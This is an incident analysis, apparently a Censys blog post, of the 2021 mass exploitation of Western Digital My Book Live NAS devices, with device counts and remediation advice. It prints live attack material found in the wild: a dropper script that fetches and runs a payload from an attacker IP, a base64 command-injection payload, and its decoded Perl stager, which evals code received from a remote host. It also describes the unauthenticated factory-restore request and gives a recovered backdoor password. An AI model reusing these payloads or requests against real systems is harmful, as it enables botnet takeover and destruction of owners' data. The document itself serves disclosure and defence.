What is the issue?
Updated July 2nd @ 1:21 PM EST
On June 24th, 2021, BleepingComputer and Ars Technica reported that Western Digital My Book Live device owners were finding that their storage partitions were being wiped clean, meaning years of data some users have collected over time (home videos and pictures, etc.) were inexplicably gone. Some users reported logs from their devices that indicated a factory reset was being performed on their device:
Jun 23 15:51:35 MyBookLive : System ready
Jun 23 15:51:37 MyBookLive logger: WD NAS: Email alerts REST API failed to return Success
Jun 23 15:51:37 MyBookLive : Check if new firmware is available
Jun 23 15:51:38 MyBookLive logger: Starting orion services: miocrawlerd, mediacrawlerd, communicationmanagerd
Jun 23 15:53:24 MyBookLive factoryRestore.sh: begin script:
Jun 23 15:53:24 MyBookLive shutdown[7899]: shutting down for system reboot
Jun 23 16:02:26 MyBookLive S15mountDataVolume.sh: begin script: start
Jun 23 16:02:29 MyBookLive logger: hostname=MyBookLive
The thread in the Western Digital forums is still receiving new messages, with one user mentioning that their WD My Book Live reached out to a blocklisted IP address, which their firewall had thankfully mitigated. The user reported that this blocklisted IP address was hosting a shell script, that appears to be a dropper, which installs and runs a secondary payload:
#!/bin/sh
n="OFJU"
if [ $# -gt 0 ]; then
n=$@
fi
cd /tmp
for a in $n do
rm $a
curl -O http://185.153.196.30/$a 12
chmod +x $a
./$a
done
for a in $n do
rm -rf $a
done
rm $0
Given the user reported behavior of a My Book Live reaching out to a dropper host (attacker controlled), it appears (though it is hard to confirm without an actual device) that internet-exposed My Book Live devices are being mass exploited to join a botnet. One user seems to confirm this is the case, after they ran the payload through VirusTotal, which reported it was part of the Linux.Ngioweb malware family. The WHOIS information of the remote IP address hosting the malicious payload (185.153.196.30) indicates the host resides in the Republic of Moldova. A reverse-DNS (PTR) record lookup indicates that the host is part of “ClouDedic,” a presumed cloud service provider:
The cloud service provider website itself has a certificate that has expired since March 26th, 2021. This may not be the only IP address used to drop the payload, but Censys has no knowledge of additional IP addresses at this time.
Piecing things together from the forum posts and the announcement from Western Digital, it appears the actor(s) are taking advantage of CVE-2018-18472. In Western Digital’s statement, they reference this vulnerability, and urge My Book Live users to disconnect their device from the internet. This vulnerability was first reported by WizCase in 2018 via researchers Paulos Yibelo and Daniel Eshetu (however, a secondary publication of the WizCase research report provides better detail — it is possible WizCase defanged the exploit in their original article to prevent mass exploitation after the article was already caught by other organizations). The vulnerability allows simple unauthenticated remote command execution via a simple PUT request to the /api/1.0/rest/language_configuration endpoint.
This issue is similar to mass exploitation events of the past, such as with vulnerabilities in Apache Struts. These scenarios typically involve two attacker controlled services, and one victim server:
The exploit initially sent to the victim My Book Live instructs the victim to download an attacker-controlled script from an attacker-controlled server, and run it. The script then installs and executes a payload itself, which causes the victim server (in this case, a My Book Live) to join the botnet. This technique is commonly used by internet bots taking advantage of command injection vulnerabilities, as more complex scripts cannot be easily created in a single line, or there may be payload limitations, like a fixed length of a particular field, request body, or header. The image above shows this scenario tested, with a PoC demonstrating the My Book Live connecting back to a mock “attacker-controlled” server, and revealing its unique user-agent string which contains its platform architecture (powerpc). In a real-world scenario, there is a further step where the attacker-controlled server sends a script which goes back to the My Book Live, which executes it (based on the payload sent initially, which would further attempt to evaluate the result of the cURL and not simply make a request).
Executing the language_configuration endpoint exploit after a device has been owned by one of the threat actors leads to heartache, as the threat actor password protected the RCE in the case where the device was joined to a botnet. This prevents other actors from taking over the device from the botnet, without knowing the password which matches the sha1 hash 05951edd7f05318019c4cfafab8e567afe7936d4. Interestingly, there is another variant of this exact same code block, in a slightly different part of language_configuration.php with a different hash: 56f650e16801d38f47bb0eeac39e21a8142d7da1. This is mostly interesting because the two code blocks resemble each other, but with different hashes, implying they’re likely from the same attacker, who evolved his or her exploit over time. Censys has also observed a similar modification to a file (PHP error handler) named accessDenied.php, though in that case, a web shell is added directly to the file, where no vulnerability was previously present. The change to accessDenied.php resembles the change to language_configuration.php:
function put($urlPath, $queryParams=null, $ouputFormat='xml'){
if(!isset($changes["submit"]) || sha1($changes["submit"]) != "05951edd7f05318019c4cfafab8e567afe7936d4")
{
die();
}
Going a little further, thanks to log files recovered from device, and reported in a recent update from Ars Technica, the hash 05951edd7f05318019c4cfafab8e567afe7936d4 corresponds to the password p$EFx3tQWoUbFc%B%R$k@. It would seem like the attacker did not know their password would be logged in plaintext, making it trivial to recover by anyone either running a My Book Live device, or emulating one (a honeypot). It is likely that with time we will see other the other passwords appear too, as more log files are recovered.
Even more interestingly, the log file contained the exact exploit that was sent to a My Book Live, confirming the workflow above:
May 9 09:00:04 MyBookLive REST_API[19838]: 192.139.120.28 PARAMETER Language_configuration PUT : language = en_US"); echo dXNlIHN0cmljdDsgdXNlIFNvY2tldDsgIHNvY2tldChTT0NLRVQsUEZfSU5FVCxTT0NLX1NUUkVBTSwoZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKVsyXSkgb3IgZXhpdCAxOyBjb25uZWN0KFNPQ0tFVCxwYWNrX3NvY2thZGRyX2luKDExMjgsIGluZXRfYXRvbigiMTkyLjEzOS4xMjAuMjgiKSkpIG9yIGV4aXQgMTsgc2VuZChTT0NLRVQsIlJFUTo2TUJJY0k3bHRHSzduTklmIiwwKTsgbXkgJGxpbmU7IG15ICRjb2RlOyB3aGlsZSAoJGxpbmUgPSA8U09DS0VUPikgeyAgICAgJGNvZGUgPSBqb2luICcnLCRjb2RlLCRsaW5lOyB9IGV2YWwgJGNvZGU7IGlmKCRAKSB7ICAgICBjbG9zZSBTT0NLRVQgb3IgZXhpdCAxOyAgICAgc29ja2V0KFNPQ0tFVCxQRl9JTkVULFNPQ0tfU1RSRUFNLChnZXRwcm90b2J5bmFtZSgndGNwJykpWzJdKSBvciBleGl0IDE7ICAgICBjb25uZWN0KFNPQ0tFVCxwYWNrX3NvY2thZGRyX2luKDExMjgsIGluZXRfYXRvbigiMTkyLjEzOS4xMjAuMjgiKSkpIG9yIGV4aXQgMTsgICAgIHNlbmQoU09DS0VULCJFUlI6JEAiLDApOyAgICAgY2xvc2UgU09DS0VUOyB9IGV4aXQgMDs= | base64 -d | sudo perl >/dev/null 2>/dev/null & exit 0; #
The payload is delivered as a base64 string, decoded, and piped into perl to execute. This is a fairly common technique to deliver a complex payload. We can simply decode the base64 encoded payload to see exactly what code was executed:
use strict;
use Socket;
socket( SOCKET, PF_INET, SOCK_STREAM, ( getprotobyname('tcp') )[2] ) or exit 1;
connect( SOCKET, pack_sockaddr_in( 1128, inet_aton("192.139.120.28") ) ) or exit 1;
send( SOCKET, "REQ:6MBIcI7ltGK7nNIf", 0 );
my $line;
my $code;
while ( $line = <SOCKET>) { $code = join '', $code, $line; }
eval $code;
if ($@) {
close SOCKET or exit 1;
socket( SOCKET, PF_INET, SOCK_STREAM, ( getprotobyname('tcp') )[2] ) or exit 1;
connect( SOCKET, pack_sockaddr_in( 1128, inet_aton("192.139.120.28") ) ) or exit 1;
send( SOCKET, "ERR:$@", 0 );
close SOCKET;
}
exit 0;
This code appears to connect to 192.139.120.28 on port 1128 (a payload server), and sends what appears to be a password. The server is expected to respond with more code, which this perl script then executes. As of June 29th, 2021, this server was not responding on that port. The IP address is associated with morewave.com, an ISP out of Canada.
However, this would not explain why there were reports of users claiming their partitions were wiped, and the logs about factoryRestore.sh running on user devices. Though these attackers certainly had access to perform a factory restore, there was little motive to do so, as it would interrupt their operation. Censys disassembled the last available firmware from Western Digital for My Book Live to view the filesystem of these devices. There appears to be an unauthenticated zero-day vulnerability with an endpoint aptly named system_factory_restore. This PHP REST endpoint has authentication code commented out (disabled) at the top (yes, this is in the latest shipping firmware, which was from 2015 as these devices are no longer supported by Western Digital). A simple POST request to the system_factory_restore endpoint would trigger the factory restore process, with the line containing sysRestoreObj->restore($changes) eventually triggering the factoryRestore.sh script that was referenced in the Western Digital forums:
function post($urlPath, $queryParams=null, $ouputFormat='xml'){
// if(!authenticateAsOwner($queryParams))
// {
// header("HTTP/1.0 401 Unauthorized");
// return;
// }
parse_str(file_get_contents("php://input"), $changes);
$this->logObj->LogParameters(get_class($this), __FUNCTION__, $changes);
$sysRestoreObj = new SystemFactoryRestore();
$result = $sysRestoreObj->restore($changes);
switch($result){
case 'SUCCESS':
header("HTTP/1.0 201 Created");
break;
case 'BAD_REQUEST':
header("HTTP/1.0 400 Bad Request");
break;
case 'SERVER_ERROR':
default:
header("HTTP/1.0 500 Internal Server Error");
break;
}
$this->logObj->LogData('OUTPUT', get_class($this), __FUNCTION__, $result);
}
Working with Dan Goodin at Ars Technica, who was able to recover a log file from an impacted device, we discovered evidence of ongoing exploitation of this issue in one of the log files mentioned above:
Jun 16 07:28:41 MyBookLive REST_API[28538]: 23.154.177.131 PARAMETER System_factory_restore POST : erase = format
Jun 16 07:28:42 MyBookLive REST_API[28538]: 23.154.177.131 OUTPUT System_factory_restore POST SUCCESS
With two different IP addresses similarly checking up on the status of the factory restore using a GET request sometime later (likely the same actor, as these IP addresses are both TOR exit nodes). This GET request does not modify the device, and simply checks on the status of a previously issued POST to the same endpoint (which invokes the factory restore). However, it should still be guarded with authentication:
Jun 16 07:30:20 MyBookLive REST_API[28538]: 185.220.102.250 OUTPUT System_factory_restore GET SUCCESS
...
Jun 16 08:15:00 MyBookLive REST_API[25173]: 162.247.74.27 OUTPUT System_factory_restore GET SUCCESS
As for motive for POSTing to this endpoint on a mass scale, it is unknown, but it could be an attempt at a rival botnet operator to take over these devices or render them useless (it is likely that the username and password are reset to their default of admin/admin, allowing another attacker to take control), or someone who wanted to otherwise disrupt the botnet which has likely been around for some time, since these issues have existed since 2015.
At the time of writing, Censys can see 55,348 WD My Book Live devices across the internet based on their publicly exposed certificates. This provides us with a sense of the impact this issue has on global cybersecurity. The United States has the highest concentration of exposed hosts, with just under 30%
Oddly, a growing number of devices matching the Western Digital certificate in Censys search were presenting a debian_lenny generic certificate sometime later. Upon further analysis, the WD My Book Live device image contains the text “Debian GNU/Linux 5.0” in /etc/issue, which is Debian Lenny. Digging a little deeper, we can find this certificate on the device itself, and dump its fingerprint, confirming that this is indeed baked into the device image:
/var/www/Admin/webapp# openssl x509 -in config/server.crt -noout -fingerprint -sha256
SHA256 Fingerprint=8D:FC:DD:A8:3D:FC:CB:8E:84:41:EA:E9:9F:6F:EF:C8:67:40:CE:11:CA:25:9A:16:DF:F2:92:9E:87:E3:D8:01
Therefore, it is very likely that the increase of debian_lenny certificates with this sha256 fingerprint implies compromise (at least through a factory reset) when measuring hosts presenting the certificate on the internet over time (the device appears to obtain a Western Digital signed certificate after initial setup by communicating with a Western Digital central server at wd2go.com). Since all the debian_lenny certificates have the exact same certificate fingerprint, we can pivot on the debian_lenny certificate fingerprint, and find all devices that have that fingerprint. Censys has observed 13,096 devices newly presenting this hash at the time of writing, up from 437 just 24 hours prior. This may be a decent gauge of the success/impact of this attack. Censys will continue to monitor the progress of the botnet as our scan engine continues to discover additional hosts presenting the debian_lenny certificate. We can also determine the distribution of likely compromised hosts by using the reporting feature of Censys search. In this case, the United States shows the most likely compromised devices with just under 50%.
Lastly, comparing newer Western Digital My Cloud firmware with My Book Live firmware reveals that each device has similar code (in terms of function), but completely separate code bases, with the former appearing much cleaner and better designed than the latter (for example, My Book Live PHP files contained many copy/pasted authentication blocks, which is an antipattern that commonly leads to security lapses, whereas the My Cloud firmware used a more modern inheritance based design that makes it difficult for downstream code to “reinvent” authentication and introduce an error).
Why does it matter?
Home users with a My Book Live that is exposed to the internet are seeing all their data disappear, or are unknowingly participating in a botnet. Moreover, since the COVID pandemic hit, many home users have switched to using their home networks as corporate offices have shuttered and employees have started to work from home. Remote work has become more tangible, but it is not without its drawbacks from a cybersecurity perspective. Companies with employees that work from home and have a Western Digital My Book Live may be exposed to risk due to this issue, since a compromise of the My Book Live device likely implies risk to devices connected or bridged to the same network the device lives on, such as corporate laptops and other computing equipment.
Updates
2021-06-26 8AM PT: Clarified the certificate fingerprint hash that the devices present, and that there may be multiple simultaneous attackers. Censys has also seen the number of exposed devices drop from 55,348 to 46,487 (-8,861) presenting the Western Digital certificate. Meanwhile the number of hosts presenting the debian_lenny certificate with fingerprint 8dfcdda83dfccb8e8441eae99f6fefc86740ce11ca259a16dff2929e87e3d801 has increased from 13,096 to 18,627 (+5,531). This implies that roughly 62% of the devices that Censys has seen since this blog post was originally written about 12 hours ago have likely been compromised, with the remainder possibly being taken offline by their owners (potentially missed by Censys, though it is unlikely due to our multi-probe/transit approach to internet scanning to avoid transient routing issues).
2021-06-28 8AM PT: Added update about the commented out authentication code in system_factory_restore; added updates around findings from the My Book Live firmware; an update regarding attacker control by passwording protecting the RCE was also added. Counts have decreased to 41,292 (-5,195 from the last update) hosts presenting the My Book Live certificate, while 17,460 show the debian_lenny default certificate (-1,167 from the last update). With simultaneous drops on both devices presenting the Western Digital and default “debian_lenny” certificates, it appears the issue has raised awareness to device owners, who may be taking them offline. Original counts were not changed in the article to track a sense of progress as the issue is monitored.
2021-06-29 7AM PT: Added information on the discovery of the payload sent to My Book Live devices by way of Dan Goodin at Ars Technica; added an analysis of the payload code and endpoint it was reaching out to. Current devices showing the Western Digital certificate sit at 38,027 (-3,265). Devices showing the debian_lenny default certificate sit at 13,530 (-3,930). Censys estimates the total size of compromised devices is both sets (51,557), as it is unlikely at this point that any internet-connected My Book Live has not been exploited.
2021-07-01 9:30A PT: As of today, 36,954 devices present the Western Digital certificate (-1,073), while 11,156 are presenting the debian_lenny certificate (-2,374).
2021-07-02 10:18A PT: As of today, 36,004 devices present the Western Digital certificate (-950), while 9,782 are presenting the debian_lenny certificate (-1,374).
2021-07-05 4:11P PT: As of today, 35,139 devices present the Western Digital certificate (-865), while 8,374 are presenting the debian_lenny certificate (-1,408).
What do I do about it?
- Remove any My Book Live device from your network
- Ensure your corporate resources (laptops, etc.) used in home user sites are hardened.
- Censys ASM can help you discover any likely compromised Western Digital My Book Live devices in your attack surface by filtering on the certificate fingerprint above.
- Disable UPnP on your home network (these devices were opening ports for remote administration using UPnP)
- View which ports and services you have exposed on your home or business network using https://me.censys.io. Disable any service that you do not recognize.
Resources
